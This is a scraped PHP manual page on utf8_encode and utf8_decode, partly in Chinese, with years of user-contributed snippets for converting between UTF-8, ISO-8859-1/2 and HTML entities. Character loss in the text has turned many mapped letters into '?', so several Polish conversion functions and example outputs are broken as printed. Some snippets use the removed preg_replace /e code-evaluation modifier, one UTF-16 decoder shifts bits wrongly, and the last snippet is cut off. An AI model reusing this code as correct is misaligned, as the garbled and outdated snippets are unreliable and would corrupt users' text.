Above would echo out the given variable in ISO-8859-1 encoding, you may replace it with whatever you prefer.

Another solution to the issue of misdisplayed glyphs is to simply send the document as UTF-8, and of course send UTF-8 data:

<?php
# Replace text/html with whatever MIME-type you prefer.
header("Content-Type: text/html; CHARSET=gb2312");
?>
MARC13 07-Jul-2007 07:50
I did this function to convert data from AJAX call to insert to my database.
It converts UTF-8 from XMLHttpRequest() to ISO-8859-2 that I use in LATIN2 MySQL database.

<?php
function utf2iso($tekst)
{
        $nowytekst = str_replace("%u0104","\xA1",$tekst);    //?
        $nowytekst = str_replace("%u0106","\xC6",$nowytekst);    //?
        $nowytekst = str_replace("%u0118","\xCA",$nowytekst);    //?
        $nowytekst = str_replace("%u0141","\xA3",$nowytekst);    //?
        $nowytekst = str_replace("%u0143","\xD1",$nowytekst);    //?
        $nowytekst = str_replace("%u00D3","\xD3",$nowytekst);    //ó
        $nowytekst = str_replace("%u015A","\xA6",$nowytekst);    //?
        $nowytekst = str_replace("%u0179","\xAC",$nowytekst);    //?
        $nowytekst = str_replace("%u017B","\xAF",$nowytekst);    //?

        $nowytekst = str_replace("%u0105","\xB1",$nowytekst);    //?
        $nowytekst = str_replace("%u0107","\xE6",$nowytekst);    //?
        $nowytekst = str_replace("%u0119","\xEA",$nowytekst);    //?
        $nowytekst = str_replace("%u0142","\xB3",$nowytekst);    //?
        $nowytekst = str_replace("%u0144","\xF1",$nowytekst);    //ń
        $nowytekst = str_replace("%u00D4","\xF3",$nowytekst);    //ó
        $nowytekst = str_replace("%u015B","\xB6",$nowytekst);    //?
        $nowytekst = str_replace("%u017A","\xBC",$nowytekst);    //?
        $nowytekst = str_replace("%u017C","\xBF",$nowytekst);    //?

    return ($nowytekst);
}
?>

In my case also the code file that deals with AJAX calls must be in UTF-8 coding.
visus at portsonline dot net 23-Jun-2007 09:08
Following code helped me with mixed (UTF8+ISO-8859-1(x)) encodings. In this case, I have template files made and maintained by designers who do not care about encoding and MySQL data in utf8_binary_ci encoded tables.

<?php

class Helper
{
    function strSplit($text, $split = 1)
    {
        if (!is_string($text)) return false;
        if (!is_numeric($split) && $split < 1) return false;

        $len = strlen($text);

        $array = array();

        $i = 0;

        while ($i < $len)
        {
            $key = NULL;

            for ($j = 0; $j < $split; $j += 1)
            {
                $key .= $text{$i};

                $i += 1;
            }

            $array[] = $key;
        }

        return $array;
    }

    function UTF8ToHTML($str)
    {
        $search = array();
        $search[] = "/([\\xC0-\\xF7]{1,1}[\\x80-\\xBF]+)/e";
        $search[] = "/&#228;/";
        $search[] = "/&#246;/";
        $search[] = "/&#252;/";
        $search[] = "/&#196;/";
        $search[] = "/&#214;/";
        $search[] = "/&#220;/";
        $search[] = "/&#223;/";

        $replace = array();
        $replace[] = 'Helper::_UTF8ToHTML("\\1")';
        $replace[] = "?";
        $replace[] = "?";
        $replace[] = "ü";
        $replace[] = "?";
        $replace[] = "?";
        $replace[] = "ü";
        $replace[] = "?";

        $str = preg_replace($search, $replace, $str);

        return $str;
    }

    function _UTF8ToHTML($str)
    {
        $ret = 0;

        foreach((Helper::strSplit(strrev(chr((ord($str{0}) % 252 % 248 % 240 % 224 % 192) + 128).substr($str, 1)))) as $k => $v)
            $ret += (ord($v) % 128) * pow(64, $k);
        return "&#".$ret.";";
    }
}

// Usage example:

$tpl = file_get_contents("template.tpl");
/* ... */
$row = mysql_fetch_assoc($result);

print(Helper::UTF8ToHTML(str_replace("{VAR}", $row['var'], $tpl)));

?>
luka8088 at gmail dot com 22-Jun-2007 07:03
simple UTF-8 to HTML conversion:

function utf8_to_html ($data)
    {
    return preg_replace("/([\\xC0-\\xF7]{1,1}[\\x80-\\xBF]+)/e", '_utf8_to_html("\\1")', $data);
    }

function _utf8_to_html ($data)
    {
    $ret = 0;
    foreach((str_split(strrev(chr((ord($data{0}) % 252 % 248 % 240 % 224 % 192) + 128) . substr($data, 1)))) as $k => $v)
        $ret += (ord($v) % 128) * pow(64, $k);
    return "&#$ret;";
    }

Example:
echo utf8_to_html("a b ? ? ? こ に ち わ ()[]{}!#$?*");

Output:
a b &#269; &#263; &#382; &#12371; &#12395; &#12385; &#12431; ()[]{}!#$?*
Sadi 13-Jun-2007 03:38
Once again about polish letters. If you use fananf's solution, make sure that PHP file is coded with cp1250 or else it won't work. It's quite obvious, however I spent some time before I finally figured that out, so I thought I post it here.
alexlevin at kvadro dot net 20-May-2007 08:20
If you running Gentoo Linux and encounter problems with some PHP4 applications saying:
Call to undefined function: utf8_decode()
Try reemerge PHP4 with 'expat' flag enabled.
sam 06-Feb-2007 08:20
In addition to yannikh's note, to convert a hex utf8 string

<?php

echo utf8_decode("\x61\xc3\xb6\x61");
// works as expected

$abc="61c3b661";
$newstr = "";
$l = strlen($abc);
for ($i=0;$i<$l;$i+=2){
    $newstr .= "\x".$abc[$i].$abc[$i+1];
}
echo utf8_decode($newstr);
// or varieties  of "\x": "\\x" etc does NOT output what you want

echo utf8_decode(pack('H*',$abc));
// this outputs the correct string, like the first line.

?>
Ajgor 28-Dec-2006 05:38
small upgrade for polish decoding:

function utf82iso88592($text) {
 $text = str_replace("\xC4\x85", '?', $text);
 $text = str_replace("\xC4\x84", '?', $text);
 $text = str_replace("\xC4\x87", '?', $text);
 $text = str_replace("\xC4\x86", '?', $text);
 $text = str_replace("\xC4\x99", '?', $text);
 $text = str_replace("\xC4\x98", '?', $text);
 $text = str_replace("\xC5\x82", '?', $text);
 $text = str_replace("\xC5\x81", '?', $text);
 $text = str_replace("\xC3\xB3", 'ó', $text);
 $text = str_replace("\xC3\x93", 'ó', $text);
 $text = str_replace("\xC5\x9B", '?', $text);
 $text = str_replace("\xC5\x9A", '?', $text);
 $text = str_replace("\xC5\xBC", '?', $text);
 $text = str_replace("\xC5\xBB", '?', $text);
 $text = str_replace("\xC5\xBA", '?', $text);
 $text = str_replace("\xC5\xB9", '?', $text);
 $text = str_replace("\xc5\x84", 'ń', $text);
 $text = str_replace("\xc5\x83", '?', $text);

return $text;
} // utf82iso88592
paul.hayes at entropedia.co.uk 27-Oct-2006 07:10
I noticed that the utf-8 to html functions below are only for 2 byte long codes. Well I wanted 3 byte support (sorry haven't done 4, 5 or 6). Also I noticed the concatination of the character codes did have the hex prefix 0x and so failed with the large 2 byte codes)

<?
  public function utf2html (&$str) {

    $ret = "";
    $max = strlen($str);
    $last = 0;  // keeps the index of the last regular character
    for ($i=0; $i<$max; $i++) {
        $c = $str{$i};
        $c1 = ord($c);
        if ($c1>>5 == 6) {  // 110x xxxx, 110 prefix for 2 bytes unicode
            $ret .= substr($str, $last, $i-$last); // append all the regular characters we've passed
            $c1 &= 31; // remove the 3 bit two bytes prefix
            $c2 = ord($str{++$i}); // the next byte
            $c2 &= 63;  // remove the 2 bit trailing byte prefix
            $c2 |= (($c1 & 3) << 6); // last 2 bits of c1 become first 2 of c2
            $c1 >>= 2; // c1 shifts 2 to the right
            $ret .= "&#" . ($c1 * 0x100 + $c2) . ";"; // this is the fastest string concatenation
            $last = $i+1;
        }
        elseif ($c1>>4 == 14) {  // 1110 xxxx, 110 prefix for 3 bytes unicode
            $ret .= substr($str, $last, $i-$last); // append all the regular characters we've passed
            $c2 = ord($str{++$i}); // the next byte
            $c3 = ord($str{++$i}); // the third byte
            $c1 &= 15; // remove the 4 bit three bytes prefix
            $c2 &= 63;  // remove the 2 bit trailing byte prefix
            $c3 &= 63;  // remove the 2 bit trailing byte prefix
            $c3 |= (($c2 & 3) << 6); // last 2 bits of c2 become first 2 of c3
            $c2 >>=2; //c2 shifts 2 to the right
            $c2 |= (($c1 & 15) << 4); // last 4 bits of c1 become first 4 of c2
            $c1 >>= 4; // c1 shifts 4 to the right
            $ret .= '&#' . (($c1 * 0x10000) + ($c2 * 0x100) + $c3) . ';'; // this is the fastest string concatenation
            $last = $i+1;
        }
    }
    $str=$ret . substr($str, $last, $i); // append the last batch of regular characters
}
?>
tobias at code-x dot de 20-Oct-2006 05:13
converting uft8-html sign &#301; to uft8

<?
function uft8html2utf8( $s ) {
        if ( !function_exists('uft8html2utf8_callback') ) {
             function uft8html2utf8_callback($t) {
                     $dec = $t[1];
            if ($dec < 128) {
              $utf = chr($dec);
            } else if ($dec < 2048) {
              $utf = chr(192 + (($dec - ($dec % 64)) / 64));
              $utf .= chr(128 + ($dec % 64));
            } else {
              $utf = chr(224 + (($dec - ($dec % 4096)) / 4096));
              $utf .= chr(128 + ((($dec % 4096) - ($dec % 64)) / 64));
              $utf .= chr(128 + ($dec % 64));
            }
            return $utf;
             }
        }
        return preg_replace_callback('|&#([0-9]{1,});|', 'uft8html2utf8_callback', $s );
}
echo uft8html2utf8('test: &#301;');
?>
2ge at NO2geSPAM dot us 26-Jan-2006 01:00
Hello all,

I like to use COOL (nice) URIs, example: http://example.com/try-something
I'm using UTF8 as input, so I have to write a function UTF8toASCII to have nice URI. Here is what I come with:

<?php
function urlize($url) {
 $search = array('/[^a-z0-9]/', '/--+/', '/^-+/', '/-+$/' );
 $replace = array( '-', '-', '', '');
 return preg_replace($search, $replace, utf2ascii($url));
}

function utf2ascii($string) {
 $iso88591  = "\\xE0\\xE1\\xE2\\xE3\\xE4\\xE5\\xE6\\xE7";
 $iso88591 .= "\\xE8\\xE9\\xEA\\xEB\\xEC\\xED\\xEE\\xEF";
 $iso88591 .= "\\xF0\\xF1\\xF2\\xF3\\xF4\\xF5\\xF6\\xF7";
 $iso88591 .= "\\xF8\\xF9\\xFA\\xFB\\xFC\\xFD\\xFE\\xFF";
 $ascii = "aaaaaaaceeeeiiiidnooooooouuuuyyy";
 return strtr(mb_strtolower(utf8_decode($string), 'ISO-8859-1'),$iso88591,$ascii);
}

echo urlize("Fucking ?m?l");

?>

I hope this helps someone.
php-net at ---NOSPAM---lc dot yi dot org 08-Dec-2005 12:04
I've just created this code snippet to improve the user-customizable emails sent by one of my websites.

The goal was to use UTF-8 (Unicode) so that non-english users have all the Unicode benefits, BUT also make life seamless for English (or specifically, English MS-Outlook users).  The niggle: Outlook prior to 2003 (?)  does not properly detect unicode emails.  When "smart quotes" from MS Word were pasted into a rich text area and saved in Unicode, then sent by email to an Outlook user, more often than not, these characters were wrongly rendered as "greek".

So, the following code snippet replaces a few strategic characters into html entities which Outlook XP (and possibly earlier) will render as expected.  [Code based on bits of code from previous posts on this and the htmlenties page]
<?php
    $badwordchars=array(
        "\xe2\x80\x98", // left single quote
        "\xe2\x80\x99", // right single quote
        "\xe2\x80\x9c", // left double quote
        "\xe2\x80\x9d", // right double quote
        "\xe2\x80\x94", // em dash
        "\xe2\x80\xa6" // elipses
    );
    $fixedwordchars=array(
        "&#8216;",
        "&#8217;",
        '&#8220;',
        '&#8221;',
        '&mdash;',
        '&#8230;'
    );
    $html=str_replace($badwordchars,$fixedwordchars,$html);
?>
yannikh at gmeil dot com 07-Dec-2005 11:34
I had to tackle a very interesting problem:

I wanted to replace all \xXX in a text by it's letters. Unfortunatelly XX were ASCII and not utf8. I solved my problem that way:
<?php preg_replace ('/\\\\x([0-9a-fA-F]{2})/e', "pack('H*',utf8_decode('\\1'))",$v); ?>
thierry.bo # netcourrier point com 30-Sep-2005 12:38
In response to fhoech (22-Sep-2005 11:55), I just tried a simultaneous test with the file UTF-8-test.txt using your regexp, 'j dot dittmer' (20-Sep-2005 06:30) regexp (message #56962), `php-note-2005` (17-Feb-2005 08:57) regexp in his message on `mb-detect-encoding` page (http://us3.php.net/manual/en/function.mb-detect-encoding.php#50087) who is using a regexp from the W3C (http://w3.org/International/questions/qa-forms-utf-8.html), and PHP mb_detect_encoding function.

Here are a summarize of the results :

201 lines are valid UTF8 strings using phpnote regexp
203 lines are valid UTF8 strings using j.dittmer regexp
200 lines are valid UTF8 strings using fhoech regexp
239 lines are valid  UTF8 strings using using mb_detect_encoding

Here are the lines with differences (left to right, phpnote, j.dittmer and fhoech) :

Line #70 : NOT UTF8|IS UTF8!|IS UTF8! :2.1.1 1 byte (U-00000000): ""
Line #79 : NOT UTF8|IS UTF8!|IS UTF8! :2.2.1 1 byte (U-0000007F): ""
Line #81 : IS UTF8!|IS UTF8!|NOT UTF8 :2.2.3 3 bytes (U-0000FFFF): "&#65535;" |
Line #267 : IS UTF8!|IS UTF8!|NOT UTF8 :5.3.1 U+FFFE = ef bf be = "&#65534;" |
Line #268 : IS UTF8!|IS UTF8!|NOT UTF8 :5.3.2 U+FFFF = ef bf bf = "&#65535;" |

Interesting is that you said that your regexp corrected j.dittmer regexp that failed on 5.3 section, but it my test I have the opposite result ?!

I ran this test on windows XP with PHP 4.3.11dev. Maybe these differences come from operating system, or PHP version.

For mb_detect_encoding I used the command :

mb_detect_encoding($line, 'UTF-8, ISO-8859-1, ASCII');
fhoech 22-Sep-2005 10:55
Sorry, I had a typo in my last comment. Corrected regexp:

^([\\x00-\\x7f]|
[\\xc2-\\xdf][\\x80-\\xbf]|
\\xe0[\\xa0-\\xbf][\\x80-\\xbf]|
[\\xe1-\\xec][\\x80-\\xbf]{2}|
\\xed[\\x80-\\x9f][\\x80-\\xbf]|
\\xef[\\x80-\\xbf][\\x80-\\xbd]|
\\xee[\\x80-\\xbf]{2}|
\xf0[\\x90-\\xbf][\\x80-\\xbf]{2}|
[\\xf1-\\xf3][\\x80-\\xbf]{3}|
\\xf4[\\x80-\\x8f][\\x80-\\xbf]{2})*$
fhoech 22-Sep-2005 10:12
JF Sebastian's regex is almost perfect as far as I'm concerned. I found one error (it failed section 5.3 "Other illegal code positions" from http://www.cl.cam.ac.uk/~mgk25/ucs/examples/UTF-8-test.txt) which I corrected as follows:

^([\\x00-\\x7f]|
[\\xc2-\\xdf][\\x80-\\xbf]|
\\xe0[\\xa0-\\xbf][\\x80-\\xbf]|
[\\xe1-\\xec][\\x80-\\xbf]{2}|
\\xed[\\x80-\\x9f][\\x80-\\xbf]|
\\xef[\\x80-\\xbf][\\x80-\\xbc]|
\\xee[\\x80-\\xbf]{2}|
\\xf0[\\x90-\\xbf][\\x80-\\xbf]{2}|
[\\xf1-\\xf3][\\x80-\\xbf]{3}|
\\xf4[\\x80-\\x8f][\\x80-\\xbf]{2})*$

(Again, concatenate to one single line to make it work)
j dot dittmer at portrix dot net 20-Sep-2005 05:30
The regex in the last comment has some typos. This is a
syntactically valid one, don't know if it's correct though.
You've to concat the expression in one long line.

^(
[\x00-\x7f]|
[\xc2-\xdf][\x80-\xbf]|
[\xe0][\xa0-\xbf][\x80-\xbf]|
[\xe1-\xec][\x80-\xbf]{2}|
[\xed][\x80-\x9f][\x80-\xbf]|
[\xee-\xef][\x80-\xbf]{2}|
[\xf0][\x90-\xbf][\x80-\xbf]{2}|
[\xf1-\xf3][\x80-\xbf]{3}|
[\xf4][\x80-\x8f][\x80-\xbf]{2}
)*$
rasmus at flajm dot se 19-Jan-2005 02:57
If you don't have the multibyte extension installed, here's a function to decode UTF-16 encoded strings. It support both BOM-less and BOM'ed strings, (big- and little-endian byte order.)

<?php
/**
 * Decode UTF-16 encoded strings.
 *
 * Can handle both BOM'ed data and un-BOM'ed data.
 * Assumes Big-Endian byte order if no BOM is available.
 *
 * @param   string  $str  UTF-16 encoded data to decode.
 * @return  string  UTF-8 / ISO encoded data.
 * @access  public
 * @version 0.1 / 2005-01-19
 * @author  Rasmus Andersson {@link http://rasmusandersson.se/}
 * @package Groupies
 */
function utf16_decode( $str ) {
    if( strlen($str) < 2 ) return $str;
    $bom_be = true;
    $c0 = ord($str{0});
    $c1 = ord($str{1});
    if( $c0 == 0xfe && $c1 == 0xff ) { $str = substr($str,2); }
    elseif( $c0 == 0xff && $c1 == 0xfe ) { $str = substr($str,2); $bom_be = false; }
    $len = strlen($str);
    $newstr = '';
    for($i=0;$i<$len;$i+=2) {
        if( $bom_be ) { $val = ord($str{$i})   << 4; $val += ord($str{$i+1}); }
        else {        $val = ord($str{$i+1}) << 4; $val += ord($str{$i}); }
        $newstr .= ($val == 0x228) ? "\n" : chr($val);
    }
    return $newstr;
}
?>
Aidan Kehoe <php-manual at parhasard dot net> 31-Jan-2004 05:35
The fastest way I've found to check if something is valid UTF-8 is
<?php
if (iconv('UTF-8', 'UTF-8', $input) != $input) {
        /* It's not UTF-8--for me, it's probably CP1252, the Windows
           version of Latin 1, with directed quotation marks and
           the Euro sign.  */
}
 ?>.
The iconv() C library fails if it's told a string is UTF-8 and it isn't; the PHP one doesn't, it just returns the conversion up to the point of failure, so you have to compare the result to the input to find out if the conversion succeeded.
gto at interia dot pl 25-Nov-2003 07:12
Correction to function converting utf82iso88592 and iso88592tutf8.
Janusz forgot about "&#324;", and "&#380;" exchanged from "&#378;" here and there.

GTo

function utf82iso88592($tekscik) {
     $tekscik = str_replace("\xC4\x85", "&#261;", $tekscik);
     $tekscik = str_replace("\xC4\x84", '&#260;', $tekscik);
     $tekscik = str_replace("\xC4\x87", '&#263;', $tekscik);
     $tekscik = str_replace("\xC4\x86", '&#262;', $tekscik);
     $tekscik = str_replace("\xC4\x99", '&#281;', $tekscik);
     $tekscik = str_replace("\xC4\x98", '&#280;', $tekscik);
     $tekscik = str_replace("\xC5\x82", '&#322;', $tekscik);
     $tekscik = str_replace("\xC5\x81", '&#321;', $tekscik);
     $tekscik = str_replace("\xC5\x84", '&#324;', $tekscik);
     $tekscik = str_replace("\xC5\x83", '&#323;', $tekscik);
     $tekscik = str_replace("\xC3\xB3", '?', $tekscik);
     $tekscik = str_replace("\xC3\x93", '?', $tekscik);
     $tekscik = str_replace("\xC5\x9B", '&#347;', $tekscik);
     $tekscik = str_replace("\xC5\x9A", '&#346;', $tekscik);
     $tekscik = str_replace("\xC5\xBC", '&#380;', $tekscik);
     $tekscik = str_replace("\xC5\xBB", '&#379;', $tekscik);
     $tekscik = str_replace("\xC5\xBA", '&#378;', $tekscik);
     $tekscik = str_replace("\xC5\xB9", '&#377;', $tekscik);
     return $tekscik;
} // utf82iso88592

function iso885922utf8($tekscik) {
     $tekscik = str_replace("&#261;", "\xC4\x85", $tekscik);
     $tekscik = str_replace('&#260;', "\xC4\x84", $tekscik);
     $tekscik = str_replace('&#263;', "\xC4\x87", $tekscik);
     $tekscik = str_replace('&#262;', "\xC4\x86", $tekscik);
     $tekscik = str_replace('&#281;', "\xC4\x99", $tekscik);
     $tekscik = str_replace('&#280;', "\xC4\x98", $tekscik);
     $tekscik = str_replace('&#322;', "\xC5\x82", $tekscik);
     $tekscik = str_replace('&#321;', "\xC5\x81", $tekscik);
     $tekscik = str_replace('&#324;', "\xC5\x84", $tekscik);
     $tekscik = str_replace('&#323;',"\xC5\x83", $tekscik);
     $tekscik = str_replace('?', "\xC3\xB3", $tekscik);
     $tekscik = str_replace('?', "\xC3\x93", $tekscik);
     $tekscik = str_replace('&#347;', "\xC5\x9B", $tekscik);
     $tekscik = str_replace('&#346;', "\xC5\x9A", $tekscik);
     $tekscik = str_replace('&#380;', "\xC5\xBC", $tekscik);
     $tekscik = str_replace('&#379;', "\xC5\xBB", $tekscik);
     $tekscik = str_replace('&#378;', "\xC5\xBA", $tekscik);
     $tekscik = str_replace('&#377;', "\xC5\xB9", $tekscik);
     return $tekscik;
} // iso885922utf8


将字符串从 ISO-8859-1 转换为 UTF-8 编码

  • ? utf8_decode
  • vfprintf ?
  • PHP Manual
  • 字符串 函数
  • 将字符串从 ISO-8859-1 转换为 UTF-8 编码

utf8_encode

(PHP 4, PHP 5, PHP 7, PHP 8)

utf8_encode — 将字符串从 ISO-8859-1 转换为 UTF-8 编码

Warning

此函数自 PHP 8.2.0 起弃用。强烈建议不要应用此函数。

说明

utf8_encode(string $string): string

该函数将 string 字符串从 ISO-8859-1 编码转换为 UTF-8。

Note:

This function does not attempt to guess the current encoding of the provided string, it assumes it is encoded as ISO-8859-1 (also known as "Latin 1") and converts to UTF-8. Since every sequence of bytes is a valid ISO-8859-1 string, this never results in an error, but will not result in a useful string if a different encoding was intended.

Many web pages marked as using the ISO-8859-1 character encoding actually use the similar Windows-1252 encoding, and web browsers will interpret ISO-8859-1 web pages as Windows-1252. Windows-1252 features additional printable characters, such as the Euro sign (�) and curly quotes (" "), instead of certain ISO-8859-1 control characters. This function will not convert such Windows-1252 characters correctly. Use a different function if Windows-1252 conversion is required.

参数

string

ISO-8859-1 字符串。

返回值

返回 string 的 UTF-8 翻译。

更新日志

版本 | 说明
8.2.0 | 弃用此函数。
7.2.0 | This function has been moved from the XML extension to the core of PHP. In previous versions, it was only available if the XML extension was installed.

示例

Example #1 基础示例

<?php
// Convert the string 'Zo?' from ISO 8859-1 to UTF-8
$iso8859_1_string = "\x5A\x6F\xEB";
$utf8_string = utf8_encode($iso8859_1_string);
echo bin2hex($utf8_string), "\n";
?>

以上示例会输出：

5a6fc3ab

注释

Note: 弃用和替代方案

从 PHP 8.2.0 开始，弃用此函数，并将在未来的版本中删除。应检查现有用途并用适当的替代方案。

类似的功能可以通过 mb_convert_encoding() 实现，支持 ISO-8859-1 和许多其他字符编码。

<?php
$iso8859_1_string = "\xEB"; // '?' (e with diaeresis) in ISO-8859-1
$utf8_string = mb_convert_encoding($iso8859_1_string, 'UTF-8', 'ISO-8859-1');
echo bin2hex($utf8_string), "\n";

$iso8859_7_string = "\xEB"; // the same string in ISO-8859-7 represents 'λ' (Greek lower-case lambda)
$utf8_string = mb_convert_encoding($iso8859_7_string, 'UTF-8', 'ISO-8859-7');
echo bin2hex($utf8_string), "\n";

$windows_1252_string = "\x80"; // '�' (Euro sign) in Windows-1252, but not in ISO-8859-1
$utf8_string = mb_convert_encoding($windows_1252_string, 'UTF-8', 'Windows-1252');
echo bin2hex($utf8_string), "\n";
?>

以上示例会输出：

c3ab
cebb
e282ac

根据安装的扩展，其他有效选项是 UConverter::transcode() 和 iconv()。

以下都给出相同的结果：

<?php
$iso8859_1_string = "\x5A\x6F\xEB"; // 'Zo?' in ISO-8859-1

$utf8_string = utf8_encode($iso8859_1_string);
echo bin2hex($utf8_string), "\n";

$utf8_string = mb_convert_encoding($iso8859_1_string, 'UTF-8', 'ISO-8859-1');
echo bin2hex($utf8_string), "\n";

$utf8_string = UConverter::transcode($iso8859_1_string, 'UTF8', 'ISO-8859-1');
echo bin2hex($utf8_string), "\n";

$utf8_string = iconv('ISO-8859-1', 'UTF-8', $iso8859_1_string);
echo bin2hex($utf8_string), "\n";
?>

以上示例会输出：

5a6fc3ab
5a6fc3ab
5a6fc3ab
5a6fc3ab

参见

  • utf8_decode() - 将字符串从 UTF-8 转换为 ISO-8859-1，替换无效或者无法表示的字符。
  • mb_convert_encoding() - 转换字符串，从一个字符编码到另一个字符编码
  • UConverter::transcode() - Convert a string from one character encoding to another
  • iconv() - 将字符串从一个字符编码转换到另一个字符编码

User Contributed Notes

Allan 07-Mar-2023 08:47
I suppose that from PHP 8.2 we need to use <?php iconv('ISO-8859-1', 'UTF-8', $string) ?> instead.
rattones at gmail dot com 18-Feb-2021 03:08
/**
 * Convert all values of an array to utf8_encode
 * @author Marcelo Ratton
 * @version 1.0
 *
 * @param  array  $arr   array to encode values
 * @param  bool   $keys  true to convert keys to UTF8
 * @return array  same   array but with all values encoded to UTF8
 */
function arrayEncodeToUTF8(array $arr, bool $keys= false) : array {
  $ret= [];
  foreach ($arr as $k=>$v) {
    if (is_array($v)) {
      $ret[$k]= arrayEncodeToUTF8($v);
    } else {
      if ($keys) {
        $k= utf8_encode((string)$k);
      }
      $ret[$k]= utf8_encode((string)$v);
    }
  }

  return $ret;
}
Pini 16-Nov-2015 03:14
My version of utf8_encode_deep,
In case you need one that returns a value without changing the original.

        /**
        * Convert Anything To UTF-8
        * @param mixed $var The variable you want to convert.
        * @param boolean $deep Deep convertion? (*Default: TRUE).
        * @return mixed
        */
        function anything_to_utf8($var,$deep=TRUE){
            if(is_array($var)){
                foreach($var as $key => $value){
                    if($deep){
                        $var[$key] = anything_to_utf8($value,$deep);
                    }elseif(!is_array($value) && !is_object($value) && !mb_detect_encoding($value,'utf-8',true)){
                         $var[$key] = utf8_encode($var);
                    }
                }
                return $var;
            }elseif(is_object($var)){
                foreach($var as $key => $value){
                    if($deep){
                        $var->$key = anything_to_utf8($value,$deep);
                    }elseif(!is_array($value) && !is_object($value) && !mb_detect_encoding($value,'utf-8',true)){
                         $var->$key = utf8_encode($var);
                    }
                }
                return $var;
            }else{
                return (!mb_detect_encoding($var,'utf-8',true))?utf8_encode($var):$var;
            }
        }
a dot rueedlinger at gmail dot com 22-Jun-2013 01:06
If you need a function which converts a string array into a utf8 encoded string array then this function might be useful for you:

<?php
function utf8_string_array_encode(&$array){
    $func = function(&$value,&$key){
        if(is_string($value)){
            $value = utf8_encode($value);
        }
        if(is_string($key)){
            $key = utf8_encode($key);
        }
        if(is_array($value)){
            utf8_string_array_encode($value);
        }
    };
    array_walk($array,$func);
    return $array;
}
?>
Oscar Broman 06-Sep-2012 11:15
Walk through nested arrays/objects and utf8 encode all strings.

<?php
// Usage
class Foo {
    public $somevar = 'whoop whoop';
}

$structure = array(
    'object' => (object) array(
        'entry' => 'hello w?rld',
        'another_array' => array(
            'string',
            1234,
            'another string'
        )
    ),
    'string' => 'foo',
    'foo_object' => new Foo
);

utf8_encode_deep($structure);

// $structure is now utf8 encoded
print_r($structure);

// The function
function utf8_encode_deep(&$input) {
    if (is_string($input)) {
        $input = utf8_encode($input);
    } else if (is_array($input)) {
        foreach ($input as &$value) {
            utf8_encode_deep($value);
        }

        unset($value);
    } else if (is_object($input)) {
        $vars = array_keys(get_object_vars($input));

        foreach ($vars as $var) {
            utf8_encode_deep($input->$var);
        }
    }
}
?>
deceze at gmail dot com 14-Jul-2011 06:51
Please note that utf8_encode only converts a string encoded in ISO-8859-1 to UTF-8. A more appropriate name for it would be "iso88591_to_utf8". If your text is not encoded in  ISO-8859-1, you do not need this function. If your text is already in UTF-8, you do not need this function. In fact, applying this function to text that is not encoded in ISO-8859-1 will most likely simply garble that text.

If you need to convert text from any encoding to any other encoding, look at iconv() instead.
powtac 4t gmx d0t de 11-Feb-2011 01:11
I tried a lot of things, but this seems to be the final fail save method to convert any string to proper UTF-8.

<?php
function _convert($content) {
    if(!mb_check_encoding($content, 'UTF-8')
        OR !($content === mb_convert_encoding(mb_convert_encoding($content, 'UTF-32', 'UTF-8' ), 'UTF-8', 'UTF-32'))) {

        $content = mb_convert_encoding($content, 'UTF-8');

        if (mb_check_encoding($content, 'UTF-8')) {
            // log('Converted to UTF-8');
        } else {
            // log('Could not converted to UTF-8');
        }
    }
    return $content;
}
?>
Yumok 15-Sep-2010 04:26
Avoiding use of preg_match to detect if utf8_encode is needed:

<?php
                $string = $string_input; // avoid being destructive

                $string = preg_replace("#[\x09\x0A\x0D\x20-\x7E]#"        ,"",$string);         // ASCII
                $string = preg_replace("#[\xC2-\xDF][\x80-\xBF]#"            ,"",$string);             // non-overlong 2-byte
                $string = preg_replace("#\xE0[\xA0-\xBF][\x80-\xBF]#"    ,"",$string);     // excluding overlongs
                $string = preg_replace("#[\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}#","",$string);     // straight 3-byte
                $string = preg_replace("#\xED[\x80-\x9F][\x80-\xBF]#"    ,"",$string);     // excluding surrogates
                $string = preg_replace("#\xF0[\x90-\xBF][\x80-\xBF]{2}#","",$string);     // planes 1-3
                $string = preg_replace("#[\xF1-\xF3][\x80-\xBF]{3}#"    ,"",$string);     //  planes 4-15
                $string = preg_replace("#\xF4[\x80-\x8F][\x80-\xBF]{2}#","",$string);     // plane 16

                $rc = ($string == ""?true:false);
?>
rogeriogirodo at gmail dot com 19-Mar-2009 04:24
This function may be useful do encode array keys and values [and checks first to see if it's already in UTF format]:

<?php
public static function to_utf8($in)
{
        if (is_array($in)) {
            foreach ($in as $key => $value) {
                $out[to_utf8($key)] = to_utf8($value);
            }
        } elseif(is_string($in)) {
            if(mb_detect_encoding($in) != "UTF-8")
                return utf8_encode($in);
            else
                return $in;
        } else {
            return $in;
        }
        return $out;
}
?>

Hope this may help.

[NOTE BY danbrown AT php DOT net: Original function written by (cmyk777 AT gmail DOT com) on 28-JAN-09.]
www.tricinty.com 11-Jun-2008 03:43
<?php
    /**
    * Encodes an ISO-8859-1 mixed variable to UTF-8 (PHP 4, PHP 5 compat)
    * @param    mixed    $input An array, associative or simple
    * @param    boolean  $encode_keys optional
    * @return    mixed     ( utf-8 encoded $input)
    */

    function utf8_encode_mix($input, $encode_keys=false)
    {
        if(is_array($input))
        {
            $result = array();
            foreach($input as $k => $v)
            {
                $key = ($encode_keys)? utf8_encode($k) : $k;
                $result[$key] = utf8_encode_mix( $v, $encode_keys);
            }
        }
        else
        {
            $result = utf8_encode($input);
        }

        return $result;
    }
?>
emze at donazga dot net 17-Dec-2006 09:42
/*
Every function seen so far is incomplete or resource consumpting. Here are two -- integer 2 utf sequence (i3u) and utf sequence to integer (u3i). Below is a code snippet that checks well behavior at the range boundaries.

Someday they might be hardcoded into PHP...
*/

function i3u($i) { // returns UCS-16 or UCS-32 to UTF-8 from an integer
  $i=(int)$i; // integer?
  if ($i<0) return false; // positive?
  if ($i<=0x7f) return chr($i); // range 0
  if (($i & 0x7fffffff) <> $i) return '?'; // 31 bit?
  if ($i<=0x7ff) return chr(0xc0 | ($i >> 6)) . chr(0x80 | ($i & 0x3f));
  if ($i<=0xffff) return chr(0xe0 | ($i >> 12)) . chr(0x80 | ($i >> 6) & 0x3f)
      . chr(0x80  | $i & 0x3f);
  if ($i<=0x1fffff) return chr(0xf0 | ($i >> 18)) . chr(0x80 | ($i >> 12) & 0x3f)
      . chr(0x80 | ($i >> 6) & 0x3f) . chr(0x80  | $i & 0x3f);
  if ($i<=0x3ffffff) return chr(0xf8 | ($i >> 24)) . chr(0x80 | ($i >> 18) & 0x3f)
